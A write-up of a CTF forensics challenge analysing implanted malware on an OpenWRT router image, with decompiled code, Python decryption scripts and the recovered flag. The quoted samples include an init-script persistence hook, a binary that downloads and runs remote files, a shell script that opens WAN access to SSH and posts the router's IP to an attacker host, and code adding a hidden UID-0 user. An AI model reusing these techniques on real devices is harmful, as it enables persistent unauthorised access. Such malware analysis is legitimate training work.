HTB Uni CTF 2023 - Forensics: Zombie Net - 12/12/2023
Forensic challenge, completed during the Hack The Box University CTF 2023.
HTB Uni CTF 2023 - Zombie Net
In this post, we’ll delve into the Zombie Net challenge, a medium difficulty forensic task from the HackTheBox University CTF 2023. This challenge is centered around basic malware analysis and includes some reverse engineering steps.
1. Introduction
The scenario involves an attack on the Network Operations Center (NOC) of Hackster University, leading to the compromise of several network devices. Despite initial efforts, there’s suspicion that not all compromised devices were identified, and attackers may still have network access. The task involves examining a disk image from a recently used device to uncover how the attackers maintained their access.
The provided file is a .bin format filesystem dump from a Mi Router 4A Gigabit running OpenWRT. The first step is to extract the filesystem using binwalk:
binwalk -e ./openwrt-ramips-mt7621-xiaomi_mi-router-4a-gigabit-squashfs-sysupgrade.bin
The successfully extracted files:
HTBCTF/forensic/_openwrt-ramips-mt7621-xiaomi_mi-router-4a-gigabit-squashfs-sysupgrade.bin.extracted ❯ ls
squashfs-root squashfs-root-0 2B752C.squashfs 168C 168C.7z
In our case, the only folder we will focus on is squashfs-root
.
2. Analysis of the Dump
HTBCTF/forensic/_openwrt-ramips-mt7621-xiaomi_mi-router-4a-gigabit-squashfs-sysupgrade.bin.extracted/squashfs-root ❯ ls
bin dev etc lib mnt overlay proc rom root sbin sys tmp usr var www init
As you see, the filesystem contains various directories, but a crucial discovery was made in /etc/init.d
, where a file named dead-reanimation
was found:
/etc/init.d ❯ ls
boot dnsmasq gpio_switch odhcpd sysntpd urngd
bootcount done led packet_steering system wpad
cron dropbear log sysctl umount
dead-reanimation firewall network sysfixtime urandom_seed
The file contains:
#!/bin/sh /etc/rc.common
START=95
USE_PROCD=1
PROG=/sbin/zombie_runner
start_service() {
procd_open_instance
procd_set_param command $PROG
procd_set_param respawn ${respawn_threshold:-3600} ${respawn_timeout:-5} ${respawn_retry:-5}
procd_close_instance
}
This script revealed the execution of /sbin/zombie_runner
, which in turn runs /usr/bin/dead-reanimation
every 600 seconds. The latter is an ELF 32-bit LSB executable, compiled for MIPS architecture.
squashfs-root/usr/bin ❯ file dead-reanimation
dead-reanimation: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-mipsel-sf.so.1, no section header
Let’s analyze it with Ghidra.
3. Reverse Engineering the executable with Ghidra
Ghidra can’t find any main
function, but we can easily go to the entry
to see where the main
is located.
undefined4 main(void)
{
int iVar1;
undefined4 local_a8;
undefined4 local_a4;
undefined4 local_a0;
undefined4 local_9c;
undefined4 local_98;
undefined local_94;
undefined4 local_90;
undefined4 local_8c;
undefined4 local_88;
undefined4 local_84;
undefined2 local_80;
undefined auStack_7c [60];
undefined auStack_40 [56];
local_a8 = 0x9a6f65f0;
local_a4 = 0xadf4e47e;
local_a0 = 0x4e937069;
local_9c = 0x8ec5e155;
local_98 = 0x3af55fc1;
local_94 = 0;
local_90 = 0x9a6f65f0;
local_8c = 0xadf4f27e;
local_88 = 0x4a8c4663;
local_84 = 0x9082ea40;
local_80 = 200;
memcpy(auStack_7c,&DAT_00400f74,0x3a);
memcpy(auStack_40,&DAT_00400fb0,0x37);
FUN_00400c04(&local_a8);
FUN_00400c04(&local_90);
FUN_00400c04(auStack_7c);
FUN_00400c04(auStack_40);
iVar1 = access((char *)&local_a8,0);
if (iVar1 == -1) {
FUN_00400b20(auStack_7c,&local_a8);
chmod((char *)&local_a8,0x1ff);
}
iVar1 = access((char *)&local_90,0);
if (iVar1 == -1) {
FUN_00400b20(auStack_40,&local_90);
chmod((char *)&local_90,0x1ff);
}
system((char *)&local_90);
system((char *)&local_a8);
return 0;
}
The main function, though cluttered with some unused variables, reveals critical operations like file permission checks and modifications. It also includes calls to two important functions: FUN_00400c04
and FUN_00400b20
.
FUN_00400c04
:
void FUN_00400c04(char *param_1)
{
uint uVar1;
size_t sVar2;
uint local_10;
for (local_10 = 0; sVar2 = strlen(param_1), local_10 < sVar2; local_10 = local_10 + 1) {
uVar1 = local_10 & 0x8000001f;
if ((int)uVar1 < 0) {
uVar1 = (uVar1 - 1 | 0xffffffe0) + 1;
}
param_1[local_10] = param_1[local_10] ^ (&DAT_00400f24)[uVar1];
}
return;
}
FUN_00400b20
:
undefined4 FUN_00400b20(undefined4 param_1,char *param_2)
{
int iVar1;
FILE *__stream;
iVar1 = curl_easy_init();
if (iVar1 != 0) {
__stream = fopen(param_2,"wb");
curl_easy_setopt(iVar1,0x2712,param_1);
curl_easy_setopt(iVar1,0x4e2b,0);
curl_easy_setopt(iVar1,0x2711,__stream);
curl_easy_perform(iVar1);
curl_easy_cleanup(iVar1);
fclose(__stream);
}
return 0;
}
As we can see, the FUN_00400c04
function is used for some sort of encryption, luckily for us, it is pretty basic. If we go back again to the main, we can see that it is called 4 times, each time with different function params:
FUN_00400c04(&local_a8);
FUN_00400c04(&local_90);
FUN_00400c04(auStack_7c);
FUN_00400c04(auStack_40);
The first two local
variables, local_a8
and local_90
, are used in chmod
operations:
chmod((char *)&local_a8,0x1ff);
chmod((char *)&local_90,0x1ff);
The use of 0x1ff
(511 in decimal) in these chmod
commands suggests that these variables likely represent filenames. The command chmod 511 <filename>
sets the permissions for the file to allow read, write, and execute access for the user, group, and others.
The auStack_7c
and auStack_40
stack arrays are used in the FUN_00400b20
function.
This function employs curl
to download files, indicating that these stack arrays contain URLs or related data.
To understand what data is being processed and downloaded by the executable, we need to decrypt the contents of auStack_7c
and auStack_40
. This involves reversing the encryption operation implemented in the FUN_00400c04
function.
We can achieve this by writing a Python script that replicates the decryption logic. This script will take the encrypted data as input and apply the reverse of the encryption algorithm used in FUN_00400c04
. The decrypted data should reveal the actual contents of the auStack_7c
and auStack_40
stack arrays, likely including URLs for file retrieval.
def xor_operation(data, index, data_segment):
uVar1 = index & 0x8000001F
if (int(uVar1) < 0):
uVar1 = (uVar1 - 1 | 0xffffffe0) + 1
data_segment_index = index % len(data_segment)
return data[index] ^ data_segment[data_segment_index]
def FUN_00400c04(data, key):
data = bytearray(data)
key_len = len(key)
for i in range(len(data)):
key_index = i % key_len
data[i] ^= key[key_index]
return data
key_byte = [0xdf, 0x11, 0x02, 0xea, 0x51, 0x80, 0x91, 0xcc, 0x0d, 0x2f, 0xe1, 0x2b, 0x34, 0x8f, 0xac, 0xe3, 0xa0, 0x2b, 0x90, 0x5e, 0x03, 0xa2, 0xa4, 0x32, 0xed, 0xee, 0x03, 0x96, 0x83, 0x57, 0xf4, 0xb0]
local_a8 = [0x9a, 0x6f, 0x65, 0xf0]
local_90 = [0x9a, 0x6f, 0x65, 0xf0]
auStack_7c = [0xb7, 0x65, 0x76, 0x9a, 0x6b, 0xaf, 0xbe, 0xaf, 0x62, 0x41, 0x87, 0x42, 0x53, 0xfc, 0x82, 0x91, 0xcf, 0x5e, 0xe4, 0x3b, 0x71, 0x8c, 0xcc, 0x46, 0x8f, 0xc1, 0x67, 0xf3, 0xe2, 0x33, 0xab, 0xc2, 0xba, 0x70, 0x6c, 0x83, 0x3c, 0xe1, 0xe5, 0xa9, 0x69, 0x70, 0x8c, 0x65, 0x59, 0xd5, 0xf8, 0xae, 0xd4, 0x65, 0xfa, 0x0b, 0x30, 0xfb, 0xf7, 0x02, 0xdd]
auStack_40 = [0xb7, 0x65, 0x76, 0x9a, 0x6b, 0xaf, 0xbe, 0xaf, 0x62, 0x41, 0x87, 0x42, 0x53, 0xfc, 0x82, 0x91, 0xcf, 0x5e, 0xe4, 0x3b, 0x71, 0x8c, 0xcc, 0x46, 0x8f, 0xc1, 0x71, 0xf3, 0xe2, 0x39, 0x9d, 0xdd, 0xbe, 0x65, 0x67, 0xc4, 0x22, 0xe8, 0xce, 0xa6, 0x48, 0x55, 0xae, 0x7c, 0x79, 0xfb, 0xf6, 0xb7, 0xf5, 0x53, 0xdf, 0x0d, 0x33, 0x92]
decrypted_local_a8 = FUN_00400c04(local_a8, key_byte)
decrypted_local_90 = FUN_00400c04(local_90, key_byte)
decrypted_auStack_7c = FUN_00400c04(auStack_7c, key_byte)
decrypted_auStack_40 = FUN_00400c04(auStack_40, key_byte)
print("Decrypted local_a8:", decrypted_local_a8)
print("Decrypted local_90:", decrypted_local_90)
print("Decrypted auStack_7c:", decrypted_auStack_7c)
print("Decrypted auStack_40:", decrypted_auStack_40)
The output:
Decrypted local_a8: bytearray(b'E~g\x1a')
Decrypted local_90: bytearray(b'E~g\x1a')
Decrypted auStack_7c: bytearray(b'http://configs.router.htb/dead_reanimated_mNmZTMtNjU3YS00')
Decrypted auStack_40: bytearray(b'http://configs.router.htb/reanimate.sh_jEzOWMtZTUxOS00')
As you see, local_a8
and local_90
don’t give us something valuable, but auStack_7c
and auStack_40
do give us some juicy links, as we recall, those are used for downloading files in the FUN_00400b20
function.
If we navigate to the URLs, we end up downloading two files: dead_reanimated_mNmZTMtNjU3YS00
and reanimate.sh_jezowmtztuxos00
.
4. Inspecting and reverse engineering the downloaded files
The first file: reanimate.sh_jezowmtztuxos00
is a Bash script performing several key actions:
#!/bin/sh
WAN_IP=$(ip -4 -o addr show pppoe-wan | awk '{print $4}' | cut -d "/" -f 1)
ROUTER_IP=$(ip -4 -o addr show br-lan | awk '{print $4}' | cut -d "/" -f 1)
CONFIG="config redirect \n\t
option dest 'lan' \n\t
option target 'DNAT' \n\t
option name 'share' \n\t
option src 'wan' \n\t
option src_dport '61337' \n\t
option dest_port '22' \n\t
option family 'ipv4' \n\t
list proto 'tcpudp' \n\t
option dest_ip '${ROUTER_IP}'"
echo -e $CONFIG >> /etc/config/firewall
/etc/init.d/firewall restart
curl -X POST -H "Content-Type: application/json" -b "auth_token=SFRCe1owbWIxM3NfaDR2M19pbmY" -d '{"ip":"'${WAN_IP}'"}' http://configs.router.htb/reanimate
Key Points:
- The script dynamically retrieves the WAN and router IP addresses.
- It modifies the firewall configuration to redirect specific network traffic, likely for maintaining persistent SSH access.
- A POST request is sent to
http://configs.router.htb/reanimate
, including the WAN IP and anauth_token
. Decoding this token from base64 (SFRCe1owbWIxM3NfaDR2M19pbmY
) reveals part of the flag:HTB{Z0mb13s_h4v3_inf
.
The second file dead_reanimated_mNmZTMtNjU3YS00
is an ELF executable again.
Let’s open it and navigate to the main
function with your favorite tool, in my case, I used Ghidra again.
undefined4 main(void)
{
size_t sVar1;
void *pvVar2;
int iVar3;
FILE *pFVar4;
__uid_t _Var5;
passwd *ppVar6;
undefined4 uVar7;
undefined uStack_169;
undefined4 local_168;
undefined auStack_164 [252];
undefined auStack_68 [44];
char acStack_3c [28];
undefined4 local_20;
undefined4 local_1c;
undefined4 local_18;
local_20._0_1_ = 'z';
local_20._1_1_ = 'o';
local_20._2_1_ = 'm';
local_20._3_1_ = 'b';
local_1c._0_1_ = 'i';
local_1c._1_1_ = 'e';
local_1c._2_1_ = '_';
local_1c._3_1_ = 'l';
local_18._0_1_ = 'o';
local_18._1_1_ = 'r';
local_18._2_1_ = 'd';
local_18._3_1_ = '\0';
memcpy(auStack_68,"d2c0ba035fe58753c648066d76fa793bea92ef29",0x29);
memcpy(acStack_3c,&DAT_00400d50,0x1b);
sVar1 = strlen(acStack_3c);
pvVar2 = malloc(sVar1 << 2);
init_crypto_lib(auStack_68,acStack_3c,pvVar2);
iVar3 = curl_easy_init();
if (iVar3 == 0) {
uVar7 = 0xfffffffe;
}
else {
curl_easy_setopt(iVar3,0x2712,"http://callback.router.htb");
curl_easy_setopt(iVar3,0x271f,pvVar2);
curl_easy_perform(iVar3);
curl_easy_cleanup(iVar3);
pFVar4 = fopen("/proc/sys/kernel/hostname","r");
local_168 = 0;
memset(auStack_164,0,0xfc);
sVar1 = fread(&local_168,0x100,1,pFVar4);
fclose(pFVar4);
(&uStack_169)[sVar1] = 0;
iVar3 = strcmp((char *)&local_168,"HSTERUNI-GW-01");
if (iVar3 == 0) {
_Var5 = getuid();
if ((_Var5 == 0) || (_Var5 = geteuid(), _Var5 == 0)) {
ppVar6 = getpwnam((char *)&local_20);
if (ppVar6 == (passwd *)0x0) {
system(
"opkg update && opkg install shadow-useradd && useradd -s /bin/ash -g 0 -u 0 -o -M z ombie_lord"
);
}
pFVar4 = popen("passwd zombie_lord","w");
fprintf(pFVar4,"%s\n%s\n",pvVar2,pvVar2);
pclose(pFVar4);
uVar7 = 0;
}
else {
uVar7 = 0xffffffff;
}
}
else {
uVar7 = 0xffffffff;
}
}
return uVar7;
}
Examining the main
function, several key operations are identified:
-
Variable and Memory stack array Definitions: The function initiates with the declaration of several variables and memory stack arrays, setting the stage for further operations.
-
String Copy to stack array: A specific string,
"d2c0ba035fe58753c648066d76fa793bea92ef29"
, is copied into one of the stack arrays. This string likely plays a role in the subsequent cryptographic process. -
Data Copy from Memory Address: The function copies data from the memory address
&DAT_00400d50
into another stack array. This data could be crucial for the decryption process or other operations within the executable. -
Calling
init_crypto_lib
Function: Theinit_crypto_lib
function is invoked with the previously copied string and stack array as arguments, suggesting it performs a decryption process or similar cryptographic operation. -
Curl Request Execution: The function executes a
curl
command to send a request to thehttp://callback.router.htb
endpoint. This request likely includes data decrypted or processed byinit_crypto_lib
, implying communication with an external server. -
Hostname Verification: It reads the system’s hostname from
/proc/sys/kernel/hostname
and checks if it matchesHSTERUNI-GW-01
. This condition suggests a targeted operation specific to this hostname. -
User ID (UID) Checks and User Creation: If the hostname matches, the function performs UID checks and, based on these checks, creates a new user named
zombie_lord
. The command used suggests that this user has elevated privileges, as indicated by the commanduseradd -s /bin/ash -g 0 -u 0 -o -M zombie_lord
. -
Password Manipulation for
zombie_lord
: In the case of successful user creation or if the user already exists, the function modifies the password forzombie_lord
. This modification uses the result returned from theinit_crypto_lib
function, indicating that this user’s password is set to a value derived from the decryption process.
Now that we have an overview of the main
, let’s reverse engineer init_crypto_lib
:
undefined4 init_crypto_lib(undefined4 param_1,undefined4 param_2,undefined4 param_3)
{
undefined auStack_110 [260];
key_rounds_init(param_1,auStack_110);
perform_rounds(auStack_110,param_2,param_3);
return 0;
}
This function defines a stack array and then calls two functions: key_rounds_init
and perform_rounds
.
Let’s go through key_rounds_init
:
undefined4 key_rounds_init(char *param_1,undefined *param_2)
{
byte bVar1;
size_t sVar2;
int iVar3;
undefined *puVar4;
int iVar5;
byte *pbVar6;
int iVar7;
sVar2 = strlen(param_1);
iVar3 = 0;
puVar4 = param_2;
do {
*puVar4 = (char)iVar3;
iVar3 = iVar3 + 1;
puVar4 = param_2 + iVar3;
} while (iVar3 != 0x100);
iVar3 = 0;
iVar5 = 0;
do {
iVar7 = iVar3 % (int)sVar2;
if (sVar2 == 0) {
trap(0x1c00);
}
pbVar6 = param_2 + iVar3;
bVar1 = *pbVar6;
iVar3 = iVar3 + 1;
iVar5 = (int)((int)param_1[iVar7] + (uint)bVar1 + iVar5) % 0x100;
*pbVar6 = param_2[iVar5];
param_2[iVar5] = bVar1;
} while (iVar3 != 0x100);
return 0;
}
The key_rounds_init
function is responsible for initializing the key for the decryption process. It takes the encrypted key (in this case, "d2c0ba035fe58753c648066d76fa793bea92ef29"
) and modifies it using a series of operations, primarily modulo arithmetic. This process effectively scrambles the key in preparation for the decryption process.
We can translate it to Python:
def key_rounds_init(key):
key_length = len(key)
key_buffer = list(range(256))
j = 0
for i in range(256):
j = (j + key_buffer[i] + key[i % key_length]) % 256
key_buffer[i], key_buffer[j] = key_buffer[j], key_buffer[i]
return key_buffer
Now let’s hop to the second function perform_rounds
:
undefined4 perform_rounds(int param_1,char *param_2,int param_3)
{
byte bVar1;
size_t sVar2;
byte *pbVar3;
size_t sVar4;
uint uVar5;
uint uVar6;
sVar2 = strlen(param_2);
uVar6 = 0;
uVar5 = 0;
for (sVar4 = 0; sVar4 != sVar2; sVar4 = sVar4 + 1) {
uVar5 = uVar5 + 1 & 0xff;
pbVar3 = (byte *)(param_1 + uVar5);
bVar1 = *pbVar3;
uVar6 = bVar1 + uVar6 & 0xff;
*pbVar3 = *(byte *)(param_1 + uVar6);
*(byte *)(param_1 + uVar6) = bVar1;
*(byte *)(param_3 + sVar4) =
*(byte *)(param_1 + ((uint)bVar1 + (uint)*pbVar3 & 0xff)) ^ param_2[sVar4];
}
return 0;
}
The perform_rounds
function implements the core decryption algorithm. It uses the prepared key buffer from key_rounds_init
and performs a series of bitwise operations, including XOR, to decrypt the data. This is a common technique seen in stream cipher cryptography.
The Python translation of this function:
def perform_rounds(key_buffer, data):
i = j = 0
output = bytearray(len(data))
for k in range(len(data)):
i = (i + 1) % 256
j = (j + key_buffer[i]) % 256
key_buffer[i], key_buffer[j] = key_buffer[j], key_buffer[i]
t = (key_buffer[i] + key_buffer[j]) % 256
keystream_byte = key_buffer[t]
output[k] = data[k] ^ keystream_byte
return output
Combining these functions, we can decrypt the ciphertext to reveal meaningful data. Let’s try with the following script:
def key_rounds_init(key):
key_length = len(key)
key_buffer = list(range(256))
j = 0
for i in range(256):
j = (j + key_buffer[i] + key[i % key_length]) % 256
key_buffer[i], key_buffer[j] = key_buffer[j], key_buffer[i]
return key_buffer
def decrypt_stream_cipher(key, ciphertext):
key_buffer = key_rounds_init(key)
return perform_rounds(key_buffer, ciphertext)
key_str = "d2c0ba035fe58753c648066d76fa793bea92ef29"
key = [ord(c) for c in key_str]
ciphertext = [
0xc5, 0x7c, 0x2b, 0x05, 0x48, 0x90, 0xf3, 0xb7, 0x3f, 0x76, 0x0f, 0x5b, 0x68, 0x7b, 0x62, 0x72, 0xbd, 0xf8, 0x01, 0x9b, 0x57, 0x47, 0x1e, 0x6f, 0xdf, 0x8c, 0x55, 0x00
]
decrypted_bytes = decrypt_stream_cipher(key, ciphertext)
decrypted_text = ''.join(chr(b) for b in decrypted_bytes)
print("Decrypted Text:", decrypted_text)
The output:
Decrypted Text: 3ct3d_0ur_c0mmun1c4t10ns!!}
Great news, we successfully recovered the last part 🎉
We can now assemble both parts to get the complete flag:
HTB{Z0mb13s_h4v3_inf3ct3d_0ur_c0mmun1c4t10ns!!}